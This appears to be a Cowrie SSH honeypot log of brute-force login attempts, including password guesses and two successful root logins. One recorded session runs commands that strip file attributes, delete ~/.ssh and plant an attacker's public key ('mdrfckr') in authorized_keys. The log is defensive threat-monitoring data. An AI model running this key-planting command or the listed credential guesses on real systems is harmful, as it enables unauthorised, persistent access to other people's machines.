{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:08.617803Z","src_ip":"2.57.121.25","session":"9301244d0570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01111983","message":"login attempt [user/01111983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:09.107082Z","src_ip":"2.57.121.25","session":"9301244d0570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01101991","message":"login attempt [user/01101991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:10.214036Z","src_ip":"2.57.121.25","session":"9301244d0570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01061991","message":"login attempt [user/01061991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:11.321110Z","src_ip":"2.57.121.25","session":"9301244d0570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":51628,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b00afb84253","protocol":"ssh","message":"New connection: 162.120.6.20:51628 (10.17.0.5:22) [session: 5b00afb84253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:11.678014Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:11.751780Z","src_ip":"162.120.6.20","session":"5b00afb84253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":51636,"dst_ip":"10.17.0.5","dst_port":22,"session":"b44ccf628623","protocol":"ssh","message":"New connection: 162.120.6.20:51636 (10.17.0.5:22) [session: b44ccf628623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:11.813678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:11.818830Z","src_ip":"162.120.6.20","session":"b44ccf628623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:11.886734Z","src_ip":"162.120.6.20","session":"b44ccf628623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"family","message":"login attempt [testing/family] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:12.089572Z","src_ip":"162.120.6.20","session":"b44ccf628623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01031992","message":"login attempt [user/01031992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:12.427460Z","src_ip":"2.57.121.25","session":"9301244d0570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:13.159351Z","src_ip":"162.120.6.20","session":"b44ccf628623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01031976","message":"login attempt [user/01031976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:13.533157Z","src_ip":"2.57.121.25","session":"9301244d0570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:14.638533Z","src_ip":"2.57.121.25","session":"9301244d0570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.178.16.179","src_port":44616,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef5bc109248b","protocol":"ssh","message":"New connection: 172.178.16.179:44616 (159.203.135.109:22) [session: ef5bc109248b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:16.231763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:16.351521Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:16.361243Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123@qwe","message":"login attempt [root/123@qwe] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:17.907109Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:19.347174Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:19.349975Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:19.352762Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:19.432791Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:21.052734Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:21.056202Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:21.169404Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:21.172792Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.178.16.179","src_port":59170,"dst_ip":"159.203.135.109","dst_port":22,"session":"90dd64ddc789","protocol":"ssh","message":"New connection: 172.178.16.179:59170 (159.203.135.109:22) [session: 90dd64ddc789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:23.632423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:23.652013Z","src_ip":"172.178.16.179","session":"90dd64ddc789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:23.662074Z","src_ip":"172.178.16.179","session":"90dd64ddc789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:24.512079Z","src_ip":"172.178.16.179","session":"90dd64ddc789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:25.583833Z","src_ip":"172.178.16.179","session":"90dd64ddc789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.178.16.179","src_port":59182,"dst_ip":"159.203.135.109","dst_port":22,"session":"36184415e9a4","protocol":"ssh","message":"New connection: 172.178.16.179:59182 (159.203.135.109:22) [session: 36184415e9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:25.592865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:25.642650Z","src_ip":"172.178.16.179","session":"36184415e9a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:25.652348Z","src_ip":"172.178.16.179","session":"36184415e9a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:28.426936Z","src_ip":"172.178.16.179","session":"36184415e9a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:28.656655Z","src_ip":"172.178.16.179","session":"ef5bc109248b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:28.661265Z","src_ip":"172.178.16.179","session":"36184415e9a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.23.150","src_port":28383,"dst_ip":"159.203.135.109","dst_port":22,"session":"48591ad671a1","protocol":"ssh","message":"New connection: 185.158.23.150:28383 (159.203.135.109:22) [session: 48591ad671a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:34.096954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:34.101503Z","src_ip":"185.158.23.150","session":"48591ad671a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:34.261802Z","src_ip":"185.158.23.150","session":"48591ad671a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"Ts3123","message":"login attempt [ts3/Ts3123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:34.935409Z","src_ip":"185.158.23.150","session":"48591ad671a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:36.097646Z","src_ip":"185.158.23.150","session":"48591ad671a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.190.22","src_port":51330,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b21ca0f2fd4","protocol":"ssh","message":"New connection: 210.79.190.22:51330 (159.203.135.109:22) [session: 3b21ca0f2fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:53.364729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:53.368850Z","src_ip":"210.79.190.22","session":"3b21ca0f2fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:53.611776Z","src_ip":"210.79.190.22","session":"3b21ca0f2fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"123456","message":"login attempt [simon/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:48:54.614799Z","src_ip":"210.79.190.22","session":"3b21ca0f2fd4","protocol":"ssh"}
